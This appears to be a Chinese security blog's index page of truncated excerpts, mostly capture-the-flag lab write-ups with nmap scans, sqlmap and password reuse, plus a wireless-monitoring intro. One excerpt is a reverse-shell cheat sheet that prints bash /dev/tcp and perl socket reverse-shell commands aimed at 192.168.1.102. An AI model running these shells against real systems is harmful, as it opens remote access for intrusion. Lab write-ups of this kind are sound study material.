摘要：
正文 nmap扫描结束，看到了不寻常的88和389端口，88端口运行着Kerberos服务，389端口运行着LDAP服务（轻型目录访问协议），Kerberos是一种计算机网络授权协议，用来在非安全网络中，对个人通信以安全的手段进行身份认证。LDAP是基于客户/服务器模式的目录数据库。 lao@lao 阅读全文
摘要：
正文 普普通通的端口，直接访问试试，就一个window server的初试界面，没啥思路，直接上工具 lao@laolao:~/桌面$ sudo nmap -sS -Pn -A 10.10.10.29 Host discovery disabled (-Pn). All addresses will 阅读全文
摘要：
反弹shell bash -c 'bash -i >& /dev/tcp/192.168.1.102/4444 0>&1' perl -e 'use Socket;$i="192.168.1.102";$p=4555;socket(S,PF_INET,SOCK_STREAM,getprotobyna 阅读全文
摘要：
正文 端口扫描，更上一题差不多，多了一个ftp lao@laolao:~$ sudo nmap -sS -Pn 10.10.10.46 [sudo] lao 的密码： Host discovery disabled (-Pn). All addresses will be marked 'up' a 阅读全文
该文被密码保护。 阅读全文
摘要：
正文 User 扫一下端口趴 sudo nmap -sS -A -Pn 10.10.10.28 这个有个80端口开放着尝试访问一下网站，发现了一个登录入口 上sqlmap打一下，当然不用尝试了，打了一下午没打通，dirseacrh也没有什么结果，查了wp才知道这里的密码跟上一题通用的：admin，M 阅读全文
摘要：
获得4个开放端口，挨个试试趴 lao@laolao:~/桌面$ nmap -PS 10.10.10.27 Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-09 19:06 CST Nmap scan report for localhost (1 阅读全文
摘要：
本文所有的内容仅供安全研究与教学之用，其余人将信息做其他用途由个人承担全部法律及连带责任，本人不承担任何法律及连带责任 预备 买一个大功率无线网卡，将它接入kali aimon-ng介绍 airmon-ng用来实现无线接口在managed和monitor模式之间的转换。输入不带参数的airmon-n 阅读全文